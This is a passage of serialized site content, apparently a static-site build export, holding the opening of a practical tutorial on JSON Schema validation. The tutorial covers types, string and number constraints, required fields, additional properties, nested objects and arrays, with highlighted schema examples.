B']\n",[11,278550,257800],{"id":257799},[41,278552,278553],{},[44,278554,278555,278557],{},[98,278556,37777],{"href":37776}," — Format and validate JSON data",[2043,278559,278560],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":278562},[278563,278564,278572,278573,278577,278584,278586,278589,278593,278594,278595],{"id":276998,"depth":337,"text":276999},{"id":277008,"depth":337,"text":277009,"children":278565},[278566,278568,278570],{"id":277012,"depth":343,"text":278567},"The Root Element: $",{"id":277157,"depth":343,"text":278569},"Current Node: @",{"id":277203,"depth":343,"text":278571},"Wildcard: *",{"id":277248,"depth":337,"text":277249},{"id":277350,"depth":337,"text":277351,"children":278574},[278575,278576],{"id":277354,"depth":343,"text":277355},{"id":277390,"depth":343,"text":277391},{"id":277514,"depth":337,"text":278578,"children":278579},"Filters: The Powerful ?() Syntax",[278580,278581,278582,278583],{"id":277525,"depth":343,"text":277526},{"id":277579,"depth":343,"text":277580},{"id":277650,"depth":343,"text":277651},{"id":277794,"depth":343,"text":277795},{"id":277836,"depth":337,"text":278585},"Recursive Descent: ..",{"id":277879,"depth":337,"text":277880,"children":278587},[278588],{"id":278016,"depth":343,"text":278017},{"id":65160,"depth":337,"text":65161,"children":278590},[278591,278592],{"id":278061,"depth":343,"text":278062},{"id":278281,"depth":343,"text":278282},{"id":278410,"depth":337,"text":278411},{"id":278450,"depth":337,"text":278451},{"id":257799,"depth":337,"text":257800},"Learn JSON Path syntax with practical examples. Master $, @, *, filters, array slicing and see how it compares to XPath for querying JSON.",{"immutable":363},{"title":276993,"description":278596},"guides\u002Fjson-path-syntax","zfEjmhk2iILGb8egaZOs4Vgi42gyts-7j005E85vpko",{"id":278602,"title":278603,"body":278604,"date":257855,"description":281251,"extension":361,"meta":281252,"navigation":363,"path":35393,"readingTime":2534,"seo":281253,"stem":281254,"__hash__":281255},"guides\u002Fguides\u002Fjson-schema-validation.md","JSON Schema Validation: A Practical Guide",{"type":8,"value":278605,"toc":281218},[278606,278610,278613,278616,278630,278633,278637,278640,278752,278756,278782,278786,278789,278874,278878,278945,278996,279000,279076,279085,279089,279099,279262,279267,279286,279290,279296,279352,279355,279416,279420,279424,279641,279645,279761,279767,279845,279849,279853,279856,279920,279930,279934,279937,279981,279985,279988,280144,280161,280165,280171,280175,280311,280315,280368,280372,280375,280700,280704,280712,280716,280733,280735,280966,280970,280975,280979,281147,281149,281206,281208,281215],[11,278607,278609],{"id":278608},"what-is-json-schema","What is JSON Schema?",[16,278611,278612],{},"JSON Schema is a vocabulary that allows you to annotate and validate JSON documents. It provides a contract for your JSON data — defining what structure is expected, what types are allowed, and what constraints must be met. Think of it as a TypeScript interface for your JSON data, but one that can be validated at runtime.",[16,278614,278615],{},"JSON Schema is particularly valuable when:",[41,278617,278618,278621,278624,278627],{},[44,278619,278620],{},"Building APIs that accept JSON payloads",[44,278622,278623],{},"Validating configuration files",[44,278625,278626],{},"Ensuring data integrity in databases",[44,278628,278629],{},"Providing documentation for expected data structures",[16,278631,278632],{},"The current stable version is Draft 2020-12, but you'll also encounter Draft-07 and Draft-04 in the wild.",[11,278634,278636],{"id":278635},"basic-schema-structure","Basic Schema Structure",[16,278638,278639],{},"A JSON Schema document is itself a JSON document with a specific structure:",[135,278641,278643],{"className":23484,"code":278642,"language":23486,"meta":141,"style":141},"{\n  \"$schema\": \"https:\u002F\u002Fjson-schema.org\u002Fdraft\u002F2020-12\u002Fschema\",\n  \"$id\": \"https:\u002F\u002Fexample.com\u002Fschemas\u002Fproduct.json\",\n  \"title\": \"Product\",\n  \"description\": \"A product in the catalog\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"name\": { \"type\": \"string\" },\n    \"price\": { \"type\": \"number\" }\n  }\n}\n",[143,278644,278645,278649,278661,278673,278683,278695,278707,278714,278729,278744,278748],{"__ignoreMap":141},[1560,278646,278647],{"class":1562,"line":1563},[1560,278648,23493],{"class":1570},[1560,278650,278651,278654,278656,278659],{"class":1562,"line":337},[1560,278652,278653],{"class":1576},"  \"$schema\"",[1560,278655,1663],{"class":1570},[1560,278657,278658],{"class":5634},"\"https:\u002F\u002Fjson-schema.org\u002Fdraft\u002F2020-12\u002Fschema\"",[1560,278660,11943],{"class":1570},[1560,278662,278663,278666,278668,278671],{"class":1562,"line":343},[1560,278664,278665],{"class":1576},"  \"$id\"",[1560,278667,1663],{"class":1570},[1560,278669,278670],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fschemas\u002Fproduct.json\"",[1560,278672,11943],{"class":1570},[1560,278674,278675,278677,278679,278681],{"class":1562,"line":365},[1560,278676,220010],{"class":1576},[1560,278678,1663],{"class":1570},[1560,278680,13218],{"class":5634},[1560,278682,11943],{"class":1570},[1560,278684,278685,278688,278690,278693],{"class":1562,"line":889},[1560,278686,278687],{"class":1576},"  \"description\"",[1560,278689,1663],{"class":1570},[1560,278691,278692],{"class":5634},"\"A product in the catalog\"",[1560,278694,11943],{"class":1570},[1560,278696,278697,278700,278702,278705],{"class":1562,"line":1710},[1560,278698,278699],{"class":1576},"  \"type\"",[1560,278701,1663],{"class":1570},[1560,278703,278704],{"class":5634},"\"object\"",[1560,278706,11943],{"class":1570},[1560,278708,278709,278712],{"class":1562,"line":1717},[1560,278710,278711],{"class":1576},"  \"properties\"",[1560,278713,37098],{"class":1570},[1560,278715,278716,278718,278720,278722,278724,278727],{"class":1562,"line":1747},[1560,278717,37103],{"class":1576},[1560,278719,199586],{"class":1570},[1560,278721,153484],{"class":1576},[1560,278723,1663],{"class":1570},[1560,278725,278726],{"class":5634},"\"string\"",[1560,278728,21223],{"class":1570},[1560,278730,278731,278733,278735,278737,278739,278742],{"class":1562,"line":2507},[1560,278732,184647],{"class":1576},[1560,278734,199586],{"class":1570},[1560,278736,153484],{"class":1576},[1560,278738,1663],{"class":1570},[1560,278740,278741],{"class":5634},"\"number\"",[1560,278743,27879],{"class":1570},[1560,278745,278746],{"class":1562,"line":2524},[1560,278747,4959],{"class":1570},[1560,278749,278750],{"class":1562,"line":2529},[1560,278751,1585],{"class":1570},[16,278753,278754],{},[47,278755,191075],{},[41,278757,278758,278764,278770,278777],{},[44,278759,278760,278763],{},[143,278761,278762],{},"$schema",": Identifies which version of JSON Schema to use",[44,278765,278766,278769],{},[143,278767,278768],{},"$id",": A unique identifier for this schema (often a URL)",[44,278771,278772,1856,278774,278776],{},[143,278773,108868],{},[143,278775,183616],{},": Human-readable documentation",[44,278778,278779,278781],{},[143,278780,81641],{},": The data type (string, number, integer, object, array, boolean, null)",[11,278783,278785],{"id":278784},"type-validation","Type Validation",[16,278787,278788],{},"JSON Schema supports these basic types:",[135,278790,278792],{"className":23484,"code":278791,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"string\",\n  \"type\": \"number\",\n  \"type\": \"integer\",\n  \"type\": \"boolean\",\n  \"type\": \"object\",\n  \"type\": \"array\",\n  \"type\": \"null\"\n}\n",[143,278793,278794,278798,278808,278818,278829,278840,278850,278861,278870],{"__ignoreMap":141},[1560,278795,278796],{"class":1562,"line":1563},[1560,278797,23493],{"class":1570},[1560,278799,278800,278802,278804,278806],{"class":1562,"line":337},[1560,278801,278699],{"class":1576},[1560,278803,1663],{"class":1570},[1560,278805,278726],{"class":5634},[1560,278807,11943],{"class":1570},[1560,278809,278810,278812,278814,278816],{"class":1562,"line":343},[1560,278811,278699],{"class":1576},[1560,278813,1663],{"class":1570},[1560,278815,278741],{"class":5634},[1560,278817,11943],{"class":1570},[1560,278819,278820,278822,278824,278827],{"class":1562,"line":365},[1560,278821,278699],{"class":1576},[1560,278823,1663],{"class":1570},[1560,278825,278826],{"class":5634},"\"integer\"",[1560,278828,11943],{"class":1570},[1560,278830,278831,278833,278835,278838],{"class":1562,"line":889},[1560,278832,278699],{"class":1576},[1560,278834,1663],{"class":1570},[1560,278836,278837],{"class":5634},"\"boolean\"",[1560,278839,11943],{"class":1570},[1560,278841,278842,278844,278846,278848],{"class":1562,"line":1710},[1560,278843,278699],{"class":1576},[1560,278845,1663],{"class":1570},[1560,278847,278704],{"class":5634},[1560,278849,11943],{"class":1570},[1560,278851,278852,278854,278856,278859],{"class":1562,"line":1717},[1560,278853,278699],{"class":1576},[1560,278855,1663],{"class":1570},[1560,278857,278858],{"class":5634},"\"array\"",[1560,278860,11943],{"class":1570},[1560,278862,278863,278865,278867],{"class":1562,"line":1747},[1560,278864,278699],{"class":1576},[1560,278866,1663],{"class":1570},[1560,278868,278869],{"class":5634},"\"null\"\n",[1560,278871,278872],{"class":1562,"line":2507},[1560,278873,1585],{"class":1570},[33,278875,278877],{"id":278876},"string-validation","String Validation",[135,278879,278881],{"className":23484,"code":278880,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"string\",\n  \"minLength\": 3,\n  \"maxLength\": 50,\n  \"pattern\": \"^[A-Za-z ]+$\",\n  \"format\": \"email\"\n}\n",[143,278882,278883,278887,278897,278908,278919,278931,278941],{"__ignoreMap":141},[1560,278884,278885],{"class":1562,"line":1563},[1560,278886,23493],{"class":1570},[1560,278888,278889,278891,278893,278895],{"class":1562,"line":337},[1560,278890,278699],{"class":1576},[1560,278892,1663],{"class":1570},[1560,278894,278726],{"class":5634},[1560,278896,11943],{"class":1570},[1560,278898,278899,278902,278904,278906],{"class":1562,"line":343},[1560,278900,278901],{"class":1576},"  \"minLength\"",[1560,278903,1663],{"class":1570},[1560,278905,17821],{"class":1576},[1560,278907,11943],{"class":1570},[1560,278909,278910,278913,278915,278917],{"class":1562,"line":365},[1560,278911,278912],{"class":1576},"  \"maxLength\"",[1560,278914,1663],{"class":1570},[1560,278916,18059],{"class":1576},[1560,278918,11943],{"class":1570},[1560,278920,278921,278924,278926,278929],{"class":1562,"line":889},[1560,278922,278923],{"class":1576},"  \"pattern\"",[1560,278925,1663],{"class":1570},[1560,278927,278928],{"class":5634},"\"^[A-Za-z ]+$\"",[1560,278930,11943],{"class":1570},[1560,278932,278933,278936,278938],{"class":1562,"line":1710},[1560,278934,278935],{"class":1576},"  \"format\"",[1560,278937,1663],{"class":1570},[1560,278939,278940],{"class":5634},"\"email\"\n",[1560,278942,278943],{"class":1562,"line":1717},[1560,278944,1585],{"class":1570},[16,278946,278947,6841,278950,1459,278953,1459,278955,1459,278957,1459,278959,1459,278962,1459,278964,1459,278967,1459,278970,1459,278973,1459,278975,1459,278978,1459,278981,1459,278984,1459,278987,1459,278990,1459,278993],{},[47,278948,278949],{},"Built-in formats:",[143,278951,278952],{},"date-time",[143,278954,88150],{},[143,278956,132387],{},[143,278958,97853],{},[143,278960,278961],{},"idn-email",[143,278963,8106],{},[143,278965,278966],{},"idn-hostname",[143,278968,278969],{},"ipv4",[143,278971,278972],{},"ipv6",[143,278974,275341],{},[143,278976,278977],{},"uri-reference",[143,278979,278980],{},"iri",[143,278982,278983],{},"iri-reference",[143,278985,278986],{},"uri-template",[143,278988,278989],{},"json-pointer",[143,278991,278992],{},"relative-json-pointer",[143,278994,278995],{},"regex",[33,278997,278999],{"id":278998},"number-and-integer-validation","Number and Integer Validation",[135,279001,279003],{"className":23484,"code":279002,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"number\",\n  \"minimum\": 0,\n  \"maximum\": 100,\n  \"exclusiveMinimum\": 0,\n  \"exclusiveMaximum\": 100,\n  \"multipleOf\": 5\n}\n",[143,279004,279005,279009,279019,279030,279041,279052,279063,279072],{"__ignoreMap":141},[1560,279006,279007],{"class":1562,"line":1563},[1560,279008,23493],{"class":1570},[1560,279010,279011,279013,279015,279017],{"class":1562,"line":337},[1560,279012,278699],{"class":1576},[1560,279014,1663],{"class":1570},[1560,279016,278741],{"class":5634},[1560,279018,11943],{"class":1570},[1560,279020,279021,279024,279026,279028],{"class":1562,"line":343},[1560,279022,279023],{"class":1576},"  \"minimum\"",[1560,279025,1663],{"class":1570},[1560,279027,5285],{"class":1576},[1560,279029,11943],{"class":1570},[1560,279031,279032,279035,279037,279039],{"class":1562,"line":365},[1560,279033,279034],{"class":1576},"  \"maximum\"",[1560,279036,1663],{"class":1570},[1560,279038,18114],{"class":1576},[1560,279040,11943],{"class":1570},[1560,279042,279043,279046,279048,279050],{"class":1562,"line":889},[1560,279044,279045],{"class":1576},"  \"exclusiveMinimum\"",[1560,279047,1663],{"class":1570},[1560,279049,5285],{"class":1576},[1560,279051,11943],{"class":1570},[1560,279053,279054,279057,279059,279061],{"class":1562,"line":1710},[1560,279055,279056],{"class":1576},"  \"exclusiveMaximum\"",[1560,279058,1663],{"class":1570},[1560,279060,18114],{"class":1576},[1560,279062,11943],{"class":1570},[1560,279064,279065,279068,279070],{"class":1562,"line":1717},[1560,279066,279067],{"class":1576},"  \"multipleOf\"",[1560,279069,1663],{"class":1570},[1560,279071,81861],{"class":1576},[1560,279073,279074],{"class":1562,"line":1747},[1560,279075,1585],{"class":1570},[16,279077,279078,6841,279081,279084],{},[47,279079,279080],{},"Note:",[143,279082,279083],{},"integer"," is a separate type that only accepts whole numbers.",[11,279086,279088],{"id":279087},"object-properties-and-required-fields","Object Properties and Required Fields",[16,279090,421,279091,279094,279095,279098],{},[143,279092,279093],{},"properties"," keyword defines what keys are allowed in an object, and ",[143,279096,279097],{},"required"," specifies which ones must be present.",[135,279100,279102],{"className":23484,"code":279101,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"properties\": {\n    \"username\": {\n      \"type\": \"string\",\n      \"minLength\": 3,\n      \"maxLength\": 20,\n      \"pattern\": \"^[a-zA-Z0-9_]+$\"\n    },\n    \"email\": {\n      \"type\": \"string\",\n      \"format\": \"email\"\n    },\n    \"age\": {\n      \"type\": \"integer\",\n      \"minimum\": 18\n    }\n  },\n  \"required\": [\"username\", \"email\"]\n}\n",[143,279103,279104,279108,279118,279124,279131,279142,279153,279164,279174,279178,279184,279194,279203,279207,279213,279223,279233,279237,279241,279258],{"__ignoreMap":141},[1560,279105,279106],{"class":1562,"line":1563},[1560,279107,23493],{"class":1570},[1560,279109,279110,279112,279114,279116],{"class":1562,"line":337},[1560,279111,278699],{"class":1576},[1560,279113,1663],{"class":1570},[1560,279115,278704],{"class":5634},[1560,279117,11943],{"class":1570},[1560,279119,279120,279122],{"class":1562,"line":343},[1560,279121,278711],{"class":1576},[1560,279123,37098],{"class":1570},[1560,279125,279126,279129],{"class":1562,"line":365},[1560,279127,279128],{"class":1576},"    \"username\"",[1560,279130,37098],{"class":1570},[1560,279132,279133,279136,279138,279140],{"class":1562,"line":889},[1560,279134,279135],{"class":1576},"      \"type\"",[1560,279137,1663],{"class":1570},[1560,279139,278726],{"class":5634},[1560,279141,11943],{"class":1570},[1560,279143,279144,279147,279149,279151],{"class":1562,"line":1710},[1560,279145,279146],{"class":1576},"      \"minLength\"",[1560,279148,1663],{"class":1570},[1560,279150,17821],{"class":1576},[1560,279152,11943],{"class":1570},[1560,279154,279155,279158,279160,279162],{"class":1562,"line":1717},[1560,279156,279157],{"class":1576},"      \"maxLength\"",[1560,279159,1663],{"class":1570},[1560,279161,12391],{"class":1576},[1560,279163,11943],{"class":1570},[1560,279165,279166,279169,279171],{"class":1562,"line":1747},[1560,279167,279168],{"class":1576},"      \"pattern\"",[1560,279170,1663],{"class":1570},[1560,279172,279173],{"class":5634},"\"^[a-zA-Z0-9_]+$\"\n",[1560,279175,279176],{"class":1562,"line":2507},[1560,279177,17600],{"class":1570},[1560,279179,279180,279182],{"class":1562,"line":2524},[1560,279181,81333],{"class":1576},[1560,279183,37098],{"class":1570},[1560,279185,279186,279188,279190,279192],{"class":1562,"line":2529},[1560,279187,279135],{"class":1576},[1560,279189,1663],{"class":1570},[1560,279191,278726],{"class":5634},[1560,279193,11943],{"class":1570},[1560,279195,279196,279199,279201],{"class":1562,"line":2534},[1560,279197,279198],{"class":1576},"      \"format\"",[1560,279200,1663],{"class":1570},[1560,279202,278940],{"class":5634},[1560,279204,279205],{"class":1562,"line":2542},[1560,279206,17600],{"class":1570},[1560,279208,279209,279211],{"class":1562,"line":2558},[1560,279210,80620],{"class":1576},[1560,279212,37098],{"class":1570},[1560,279214,279215,279217,279219,279221],{"class":1562,"line":2570},[1560,279216,279135],{"class":1576},[1560,279218,1663],{"class":1570},[1560,279220,278826],{"class":5634},[1560,279222,11943],{"class":1570},[1560,279224,279225,279228,279230],{"class":1562,"line":6638},[1560,279226,279227],{"class":1576},"      \"minimum\"",[1560,279229,1663],{"class":1570},[1560,279231,279232],{"class":1576},"18\n",[1560,279234,279235],{"class":1562,"line":11615},[1560,279236,11612],{"class":1570},[1560,279238,279239],{"class":1562,"line":11621},[1560,279240,11862],{"class":1570},[1560,279242,279243,279246,279248,279251,279253,279256],{"class":1562,"line":11633},[1560,279244,279245],{"class":1576},"  \"required\"",[1560,279247,37187],{"class":1570},[1560,279249,279250],{"class":5634},"\"username\"",[1560,279252,1459],{"class":1570},[1560,279254,279255],{"class":5634},"\"email\"",[1560,279257,37203],{"class":1570},[1560,279259,279260],{"class":1562,"line":11638},[1560,279261,1585],{"class":1570},[16,279263,279264],{},[47,279265,279266],{},"This schema means:",[41,279268,279269,279276,279281],{},[44,279270,279271,1856,279273,279275],{},[143,279272,34990],{},[143,279274,97853],{}," MUST be present",[44,279277,279278,279280],{},[143,279279,134076],{}," is optional",[44,279282,216696,279283,279285],{},[143,279284,134076],{}," is present, it must be an integer >= 18",[33,279287,279289],{"id":279288},"additional-properties","Additional Properties",[16,279291,279292,279293,279295],{},"By default, JSON Schema allows additional properties not mentioned in ",[143,279294,279093],{},". To restrict this:",[135,279297,279299],{"className":23484,"code":279298,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"properties\": {\n    \"name\": { \"type\": \"string\" }\n  },\n  \"additionalProperties\": false\n}\n",[143,279300,279301,279305,279315,279321,279335,279339,279348],{"__ignoreMap":141},[1560,279302,279303],{"class":1562,"line":1563},[1560,279304,23493],{"class":1570},[1560,279306,279307,279309,279311,279313],{"class":1562,"line":337},[1560,279308,278699],{"class":1576},[1560,279310,1663],{"class":1570},[1560,279312,278704],{"class":5634},[1560,279314,11943],{"class":1570},[1560,279316,279317,279319],{"class":1562,"line":343},[1560,279318,278711],{"class":1576},[1560,279320,37098],{"class":1570},[1560,279322,279323,279325,279327,279329,279331,279333],{"class":1562,"line":365},[1560,279324,37103],{"class":1576},[1560,279326,199586],{"class":1570},[1560,279328,153484],{"class":1576},[1560,279330,1663],{"class":1570},[1560,279332,278726],{"class":5634},[1560,279334,27879],{"class":1570},[1560,279336,279337],{"class":1562,"line":889},[1560,279338,11862],{"class":1570},[1560,279340,279341,279344,279346],{"class":1562,"line":1710},[1560,279342,279343],{"class":1576},"  \"additionalProperties\"",[1560,279345,1663],{"class":1570},[1560,279347,37132],{"class":1576},[1560,279349,279350],{"class":1562,"line":1717},[1560,279351,1585],{"class":1570},[16,279353,279354],{},"Or specify a schema for additional properties:",[135,279356,279358],{"className":23484,"code":279357,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"properties\": {\n    \"name\": { \"type\": \"string\" }\n  },\n  \"additionalProperties\": { \"type\": \"string\" }\n}\n",[143,279359,279360,279364,279374,279380,279394,279398,279412],{"__ignoreMap":141},[1560,279361,279362],{"class":1562,"line":1563},[1560,279363,23493],{"class":1570},[1560,279365,279366,279368,279370,279372],{"class":1562,"line":337},[1560,279367,278699],{"class":1576},[1560,279369,1663],{"class":1570},[1560,279371,278704],{"class":5634},[1560,279373,11943],{"class":1570},[1560,279375,279376,279378],{"class":1562,"line":343},[1560,279377,278711],{"class":1576},[1560,279379,37098],{"class":1570},[1560,279381,279382,279384,279386,279388,279390,279392],{"class":1562,"line":365},[1560,279383,37103],{"class":1576},[1560,279385,199586],{"class":1570},[1560,279387,153484],{"class":1576},[1560,279389,1663],{"class":1570},[1560,279391,278726],{"class":5634},[1560,279393,27879],{"class":1570},[1560,279395,279396],{"class":1562,"line":889},[1560,279397,11862],{"class":1570},[1560,279399,279400,279402,279404,279406,279408,279410],{"class":1562,"line":1710},[1560,279401,279343],{"class":1576},[1560,279403,199586],{"class":1570},[1560,279405,153484],{"class":1576},[1560,279407,1663],{"class":1570},[1560,279409,278726],{"class":5634},[1560,279411,27879],{"class":1570},[1560,279413,279414],{"class":1562,"line":1717},[1560,279415,1585],{"class":1570},[11,279417,279419],{"id":279418},"nested-objects-and-arrays","Nested Objects and Arrays",[33,279421,279423],{"id":279422},"nested-objects","Nested Objects",[135,279425,279427],{"className":23484,"code":279426,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"properties\": {\n    \"user\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"firstName\": { \"type\": \"string\" },\n        \"lastName\": { \"type\": \"string\" },\n        \"address\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"street\": { \"type\": \"string\" },\n            \"city\": { \"type\": \"string\" },\n            \"zipCode\": { \"type\": \"string\", \"pattern\": \"^[0-9]{5}$\" }\n          },\n          \"required\": [\"street\", \"city\"]\n        }\n      },\n      \"required\": [\"firstName\", \"lastName\"]\n    }\n  }\n}\n",[143,279428,279429,279433,279443,279449,279456,279466,279473,279488,279503,279510,279521,279528,279543,279558,279583,279588,279604,279608,279612,279629,279633,279637],{"__ignoreMap":141},[1560,279430,279431],{"class":1562,"line":1563},[1560,279432,23493],{"class":1570},[1560,279434,279435,279437,279439,279441],{"class":1562,"line":337},[1560,279436,278699],{"class":1576},[1560,279438,1663],{"class":1570},[1560,279440,278704],{"class":5634},[1560,279442,11943],{"class":1570},[1560,279444,279445,279447],{"class":1562,"line":343},[1560,279446,278711],{"class":1576},[1560,279448,37098],{"class":1570},[1560,279450,279451,279454],{"class":1562,"line":365},[1560,279452,279453],{"class":1576},"    \"user\"",[1560,279455,37098],{"class":1570},[1560,279457,279458,279460,279462,279464],{"class":1562,"line":889},[1560,279459,279135],{"class":1576},[1560,279461,1663],{"class":1570},[1560,279463,278704],{"class":5634},[1560,279465,11943],{"class":1570},[1560,279467,279468,279471],{"class":1562,"line":1710},[1560,279469,279470],{"class":1576},"      \"properties\"",[1560,279472,37098],{"class":1570},[1560,279474,279475,279478,279480,279482,279484,279486],{"class":1562,"line":1717},[1560,279476,279477],{"class":1576},"        \"firstName\"",[1560,279479,199586],{"class":1570},[1560,279481,153484],{"class":1576},[1560,279483,1663],{"class":1570},[1560,279485,278726],{"class":5634},[1560,279487,21223],{"class":1570},[1560,279489,279490,279493,279495,279497,279499,279501],{"class":1562,"line":1747},[1560,279491,279492],{"class":1576},"        \"lastName\"",[1560,279494,199586],{"class":1570},[1560,279496,153484],{"class":1576},[1560,279498,1663],{"class":1570},[1560,279500,278726],{"class":5634},[1560,279502,21223],{"class":1570},[1560,279504,279505,279508],{"class":1562,"line":2507},[1560,279506,279507],{"class":1576},"        \"address\"",[1560,279509,37098],{"class":1570},[1560,279511,279512,279515,279517,279519],{"class":1562,"line":2524},[1560,279513,279514],{"class":1576},"          \"type\"",[1560,279516,1663],{"class":1570},[1560,279518,278704],{"class":5634},[1560,279520,11943],{"class":1570},[1560,279522,279523,279526],{"class":1562,"line":2529},[1560,279524,279525],{"class":1576},"          \"properties\"",[1560,279527,37098],{"class":1570},[1560,279529,279530,279533,279535,279537,279539,279541],{"class":1562,"line":2534},[1560,279531,279532],{"class":1576},"            \"street\"",[1560,279534,199586],{"class":1570},[1560,279536,153484],{"class":1576},[1560,279538,1663],{"class":1570},[1560,279540,278726],{"class":5634},[1560,279542,21223],{"class":1570},[1560,279544,279545,279548,279550,279552,279554,279556],{"class":1562,"line":2542},[1560,279546,279547],{"class":1576},"            \"city\"",[1560,279549,199586],{"class":1570},[1560,279551,153484],{"class":1576},[1560,279553,1663],{"class":1570},[1560,279555,278726],{"class":5634},[1560,279557,21223],{"class":1570},[1560,279559,279560,279563,279565,279567,279569,279571,279573,279576,279578,279581],{"class":1562,"line":2558},[1560,279561,279562],{"class":1576},"            \"zipCode\"",[1560,279564,199586],{"class":1570},[1560,279566,153484],{"class":1576},[1560,279568,1663],{"class":1570},[1560,279570,278726],{"class":5634},[1560,279572,1459],{"class":1570},[1560,279574,279575],{"class":1576},"\"pattern\"",[1560,279577,1663],{"class":1570},[1560,279579,279580],{"class":5634},"\"^[0-9]{5}$\"",[1560,279582,27879],{"class":1570},[1560,279584,279585],{"class":1562,"line":2570},[1560,279586,279587],{"class":1570},"          },\n",[1560,279589,279590,279593,279595,279598,279600,279602],{"class":1562,"line":6638},[1560,279591,279592],{"class":1576},"          \"required\"",[1560,279594,37187],{"class":1570},[1560,279596,279597],{"class":5634},"\"street\"",[1560,279599,1459],{"class":1570},[1560,279601,85871],{"class":5634},[1560,279603,37203],{"class":1570},[1560,279605,279606],{"class":1562,"line":11615},[1560,279607,50039],{"class":1570},[1560,279609,279610],{"class":1562,"line":11621},[1560,279611,11976],{"class":1570},[1560,279613,279614,279617,279619,279622,279624,279627],{"class":1562,"line":11633},[1560,279615,279616],{"class":1576},"      \"required\"",[1560,279618,37187],{"class":1570},[1560,279620,279621],{"class":5634},"\"firstName\"",[1560,279623,1459],{"class":1570},[1560,279625,279626],{"class":5634},"\"lastName\"",[1560,279628,37203],{"class":1570},[1560,279630,279631],{"class":1562,"line":11638},[1560,279632,11612],{"class":1570},[1560,279634,279635],{"class":1562,"line":11672},[1560,279636,4959],{"class":1570},[1560,279638,279639],{"class":1562,"line":19435},[1560,279640,1585],{"class":1570},[33,279642,279644],{"id":279643},"array-validation","Array Validation",[135,279646,279648],{"className":23484,"code":279647,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"array\",\n  \"items\": {\n    \"type\": \"object\",\n    \"properties\": {\n      \"id\": { \"type\": \"integer\" },\n      \"name\": { \"type\": \"string\" }\n    }\n  },\n  \"minItems\": 1,\n  \"maxItems\": 100,\n  \"uniqueItems\": true\n}\n",[143,279649,279650,279654,279664,279671,279682,279689,279704,279718,279722,279726,279737,279748,279757],{"__ignoreMap":141},[1560,279651,279652],{"class":1562,"line":1563},[1560,279653,23493],{"class":1570},[1560,279655,279656,279658,279660,279662],{"class":1562,"line":337},[1560,279657,278699],{"class":1576},[1560,279659,1663],{"class":1570},[1560,279661,278858],{"class":5634},[1560,279663,11943],{"class":1570},[1560,279665,279666,279669],{"class":1562,"line":343},[1560,279667,279668],{"class":1576},"  \"items\"",[1560,279670,37098],{"class":1570},[1560,279672,279673,279676,279678,279680],{"class":1562,"line":365},[1560,279674,279675],{"class":1576},"    \"type\"",[1560,279677,1663],{"class":1570},[1560,279679,278704],{"class":5634},[1560,279681,11943],{"class":1570},[1560,279683,279684,279687],{"class":1562,"line":889},[1560,279685,279686],{"class":1576},"    \"properties\"",[1560,279688,37098],{"class":1570},[1560,279690,279691,279694,279696,279698,279700,279702],{"class":1562,"line":1710},[1560,279692,279693],{"class":1576},"      \"id\"",[1560,279695,199586],{"class":1570},[1560,279697,153484],{"class":1576},[1560,279699,1663],{"class":1570},[1560,279701,278826],{"class":5634},[1560,279703,21223],{"class":1570},[1560,279705,279706,279708,279710,279712,279714,279716],{"class":1562,"line":1717},[1560,279707,196412],{"class":1576},[1560,279709,199586],{"class":1570},[1560,279711,153484],{"class":1576},[1560,279713,1663],{"class":1570},[1560,279715,278726],{"class":5634},[1560,279717,27879],{"class":1570},[1560,279719,279720],{"class":1562,"line":1747},[1560,279721,11612],{"class":1570},[1560,279723,279724],{"class":1562,"line":2507},[1560,279725,11862],{"class":1570},[1560,279727,279728,279731,279733,279735],{"class":1562,"line":2524},[1560,279729,279730],{"class":1576},"  \"minItems\"",[1560,279732,1663],{"class":1570},[1560,279734,3585],{"class":1576},[1560,279736,11943],{"class":1570},[1560,279738,279739,279742,279744,279746],{"class":1562,"line":2529},[1560,279740,279741],{"class":1576},"  \"maxItems\"",[1560,279743,1663],{"class":1570},[1560,279745,18114],{"class":1576},[1560,279747,11943],{"class":1570},[1560,279749,279750,279753,279755],{"class":1562,"line":2534},[1560,279751,279752],{"class":1576},"  \"uniqueItems\"",[1560,279754,1663],{"class":1570},[1560,279756,23527],{"class":1576},[1560,279758,279759],{"class":1562,"line":2542},[1560,279760,1585],{"class":1570},[16,279762,279763,279764,8037],{},"For arrays with different item types at different positions, use ",[143,279765,279766],{},"prefixItems",[135,279768,279770],{"className":23484,"code":279769,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"array\",\n  \"prefixItems\": [\n    { \"type\": 